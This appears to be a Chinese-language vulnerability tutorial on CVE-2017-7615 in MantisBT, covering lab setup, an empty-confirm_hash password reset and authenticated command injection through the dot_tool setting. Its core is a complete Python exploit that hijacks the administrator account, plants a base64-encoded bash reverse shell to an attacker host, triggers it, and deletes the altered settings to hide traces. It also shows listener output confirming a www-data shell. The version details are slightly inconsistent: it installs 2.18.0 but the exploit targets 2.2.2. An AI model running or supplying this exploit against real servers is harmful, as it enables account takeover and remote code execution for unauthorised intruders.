Mantis BT CVE-2017-7615任意密码重置+认证后RCE漏洞分析
字数 1364 2025-08-26 22:11:15

Mantis BT CVE-2017-7615漏洞分析与利用教学文档

漏洞概述

Mantis BT是一个用PHP编写的BUG管理系统,具有简单轻量级和开源的特点。CVE-2017-7615漏洞影响MantisBT 2.3.0及之前的版本,包含两个主要漏洞:

  1. 任意密码重置漏洞:攻击者可通过向verify.php文件传递空的confirm_hash值利用该漏洞重置任意密码
  2. 认证后RCE漏洞:在获取管理员权限后,可通过配置修改实现远程命令执行

环境搭建

Docker环境准备

sudo docker run -it --name Mantis -p 10080:80 --privileged=true -v /home/island/work/work/software/Mantis/container:/root ubuntu:16.04 bash

基础工具安装

apt-get update
apt-get install net-tools apt-get install iputils-ping
apt-get install iproute2
apt-get install vim
apt-get install zip

Mantis BT安装

apt-get install apache2
apt-get install php
apt-get install php7.0-gd
apt-get install libapache2-mod-php
apt-get install mysql-server
apt-get install php-mysql
apt-get install php-xml
apt-get install php-mbstring
service apache2 start
service mysql start

Mantis BT部署

  1. 下载Mantis BT 2.18.0:

    cp mantisbt-2.18.0.zip /var/www/html/
    cd /var/www/html/
    unzip mantisbt-2.18.0.zip
    mv mantisbt-2.18.0 mantisbt
    chmod -R 777 mantisbt
    
  2. 修改配置文件:

    • 编辑/etc/php/7.0/apache2/php.ini,删除;extension=msql.so前的分号
    • 编辑/etc/apache2/apache2.conf,最后添加:ServerName localhost:80
  3. 解决依赖问题:

    composer dump-autoload
    apt-get install php7.0-gd
    composer install
    
  4. 访问安装页面完成安装:http://[IP]:10080/mantisbt/admin/install.php

调试环境配置

Xdebug配置

  1. 服务器端:

    apt install php-xdebug
    

    编辑/etc/php/7.0/cli/php.ini,添加:

    [xdebug]
    zend_extension=xdebug.so
    [XDebug]
    xdebug.remote_enable=on
    xdebug.remote_autostart=1
    xdebug.remote_host=172.16.113.1
    xdebug.remote_port=9000
    xdebug.remote_connect_back=0
    xdebug.auto_trace=1
    xdebug.collect_includes=1
    xdebug.collect_params=1
    xdebug.remote_log=/tmp/xdebug.log
    
  2. 客户端(VSCode)配置launch.json

    {
      "version": "0.2.0",
      "configurations": [
        {
          "name": "Listen for XDebug",
          "type": "php",
          "request": "launch",
          "stopOnEntry": false,
          "localSourceRoot": "/Users/islandmac/Seafile/MyDocument/work/software/Mantis/container/mantisbt-2.2.2/",
          "serverSourceRoot": "/var/www/html/mantisbt-2.2.2/",
          "port": 9000
        },
        {
          "name": "Launch currently open script",
          "type": "php",
          "request": "launch",
          "program": "${file}",
          "cwd": "${fileDirname}",
          "port": 9000
        }
      ]
    }
    

漏洞利用

利用脚本

import requests
from urllib import quote_plus
from base64 import b64encode
from re import split

class exploit():
    def __init__(self):
        self.s = requests.Session()
        self.headers = dict()
        self.RHOST = "192.168.1.10"  # 目标IP
        self.RPORT = "10080"         # 目标端口
        self.LHOST = "192.168.1.10"  # 攻击机IP
        self.LPORT = "4444"          # 攻击机端口
        self.verify_user_id = "1"    # 目标账户用户ID
        self.realname = "administrator"  # 要劫持的用户名
        self.passwd = "password"     # 重置后的密码
        self.mantisLoc = "/mantisbt-2.2.2"  # Mantis路径
        self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash"

    def reset_login(self):
        # 获取account_update_token
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
        r = self.s.get(url=url, headers=self.headers)
        account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
        
        # 重置账户密码
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
        data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
        self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})
        r = self.s.post(url=url, headers=self.headers, data=data)
        if r.status_code == 200:
            print "Successfully hijacked account!"

    def login(self):
        data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
        r = self.s.post(url=url, headers=self.headers, data=data)
        if "login_page.php" not in r.url:
            print "Successfully logged in!"

    def CreateConfigOption(self, option, value):
        # 获取adm_config_set_token
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
        r = self.s.get(url=url, headers=self.headers)
        adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
        
        # 创建配置
        data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
        r = self.s.post(url=url, headers=self.headers, data=data)

    def TriggerExploit(self):
        print "Triggering reverse shell"
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
        try:
            r = self.s.get(url=url, headers=self.headers, timeout=3)
        except:
            pass

    def Cleanup(self):
        # 清理创建的配置
        print "Cleaning up"
        cleaned_up = False
        cleanup = requests.Session()
        CleanupHeaders = dict()
        CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'})
        data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
        r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
        
        ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable']
        for config in ConfigsToCleanup:
            # 获取adm_config_delete_token
            url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
            r = cleanup.get(url=url, headers=self.headers)
            test = split('<!-- Repeated Info Rows -->', r.text)
            del test[0]
            cleanup_dict = dict()
            for i in range(len(test)):
                if config in test[i]:
                    cleanup_dict.update({'config_option': config})
                    cleanup_dict.update({'adm_config_delete_token': test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
                    cleanup_dict.update({'user_id': test[i].split('name="user_id" value=')[1].split('"')[1]})
                    cleanup_dict.update({'project_id': test[i].split('name="project_id" value=')[1].split('"')[1]})
            
            # 删除配置
            print "Deleting the " + config + " config."
            url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
            data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"
            r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
            
            # 确认清理
            r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)
            if config in r.text:
                cleaned_up = False
            else:
                cleaned_up = True
        
        if cleaned_up == True:
            print "Successfully cleaned up"
        else:
            print "Unable to clean up configs"

exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable", value="1")
exploit.CreateConfigOption(option="dot_tool", value=exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()

利用步骤

  1. 启动监听:

    nc -lvvp 4444 -n
    
  2. 修改exp中的参数:

    • RHOST:目标IP
    • RPORT:目标端口
    • LHOST:攻击机IP
    • LPORT:攻击机监听端口
    • mantisLoc:Mantis BT的URL路径
  3. 执行exp:

    python CVE-2017-7615_exp.py
    
  4. 成功获取反向shell:

    $ nc -lvvp 4444 -n
    Listening on 0.0.0.0 4444
    Connection received on 172.17.0.4 40698
    bash: cannot set terminal process group (12522): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@21467ebf0ffb:/var/www/html/mantisbt-2.2.2$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

漏洞分析

密码重置漏洞分析

漏洞原理

  1. 攻击者向verify.php发送GET请求,参数为id=1&confirm_hash=(空的confirm_hash)

    GET /mantisbt-2.2.2/verify.php?id=1&confirm_hash= HTTP/1.1
    
  2. verify.php关键代码:

    $f_user_id = gpc_get_string('id');
    $f_confirm_hash = gpc_get_string('confirm_hash');
    $t_token_confirm_hash = token_get_value(TOKEN_ACCOUNT_ACTIVATION, $f_user_id);
    
    if($f_confirm_hash != $t_token_confirm_hash) {
        trigger_error(ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR);
    }
    

    confirm_hash为空时,$t_token_confirm_hash也为空(未登录情况下),导致条件判断绕过。

  3. 代码继续执行,调用auth_attempt_script_login()模拟登录,并生成有效的account_update_token

  4. 攻击者使用获取的token发送POST请求重置密码:

    POST /mantisbt-2.2.2/account_update.php HTTP/1.1
    account_update_token=20220727yZ-LSS6H7Oh2T8e0vtB-7idGE-jtqpkN&password=password&verify_user_id=1&realname=administrator&password_confirm=password
    
  5. 最终执行的SQL语句:

    UPDATE mantis222_user_table222 SET password=root, cookie_string=XFf3oXAaubj6XafrescDZ702IJeWIA1kecS7KoKvqFge_skYnK2QPVHR6Im5FXcq WHERE id=1
    

认证后RCE漏洞分析

漏洞原理

  1. 攻击者首先登录获取的管理员账户

  2. 通过adm_config_report.php获取adm_config_set_token

  3. 修改两个关键配置:

    • 设置relationship_graph_enable为1
    • 设置dot_tool为要执行的命令
  4. 触发漏洞:

    • 访问workflow_graph_img.php时,系统会调用dot_tool配置的值作为命令执行
    • Graph类的output方法中:
      $t_command = $this->graphviz_tool . ' -T' . $p_format;
      $t_proccess = proc_open($t_command, $t_descriptors, $t_pipes);
      
    • 由于graphviz_tool来自dot_tool配置,导致命令注入

修复建议

  1. 升级到Mantis BT 2.3.0以上版本
  2. verify.php中的confirm_hash参数进行严格验证
  3. dot_tool配置值进行过滤,防止命令注入
  4. 使用最小权限原则运行Mantis BT

参考

  1. 1s1and's blog
Mantis BT CVE-2017-7615漏洞分析与利用教学文档 漏洞概述 Mantis BT是一个用PHP编写的BUG管理系统,具有简单轻量级和开源的特点。CVE-2017-7615漏洞影响MantisBT 2.3.0及之前的版本,包含两个主要漏洞: 任意密码重置漏洞 :攻击者可通过向verify.php文件传递空的confirm_ hash值利用该漏洞重置任意密码 认证后RCE漏洞 :在获取管理员权限后,可通过配置修改实现远程命令执行 环境搭建 Docker环境准备 基础工具安装 Mantis BT安装 Mantis BT部署 下载Mantis BT 2.18.0: 修改配置文件: 编辑 /etc/php/7.0/apache2/php.ini ,删除 ;extension=msql.so 前的分号 编辑 /etc/apache2/apache2.conf ,最后添加: ServerName localhost:80 解决依赖问题: 访问安装页面完成安装: http://[IP]:10080/mantisbt/admin/install.php 调试环境配置 Xdebug配置 服务器端: 编辑 /etc/php/7.0/cli/php.ini ,添加: 客户端(VSCode)配置 launch.json : 漏洞利用 利用脚本 利用步骤 启动监听: 修改exp中的参数: RHOST:目标IP RPORT:目标端口 LHOST:攻击机IP LPORT:攻击机监听端口 mantisLoc:Mantis BT的URL路径 执行exp: 成功获取反向shell: 漏洞分析 密码重置漏洞分析 漏洞原理 : 攻击者向 verify.php 发送GET请求,参数为 id=1&confirm_hash= (空的confirm_ hash) verify.php 关键代码: 当 confirm_hash 为空时, $t_token_confirm_hash 也为空(未登录情况下),导致条件判断绕过。 代码继续执行,调用 auth_attempt_script_login() 模拟登录,并生成有效的 account_update_token 攻击者使用获取的token发送POST请求重置密码: 最终执行的SQL语句: 认证后RCE漏洞分析 漏洞原理 : 攻击者首先登录获取的管理员账户 通过 adm_config_report.php 获取 adm_config_set_token 修改两个关键配置: 设置 relationship_graph_enable 为1 设置 dot_tool 为要执行的命令 触发漏洞: 访问 workflow_graph_img.php 时,系统会调用 dot_tool 配置的值作为命令执行 Graph 类的 output 方法中: 由于 graphviz_tool 来自 dot_tool 配置,导致命令注入 修复建议 升级到Mantis BT 2.3.0以上版本 对 verify.php 中的 confirm_hash 参数进行严格验证 对 dot_tool 配置值进行过滤,防止命令注入 使用最小权限原则运行Mantis BT 参考 1s1and's blog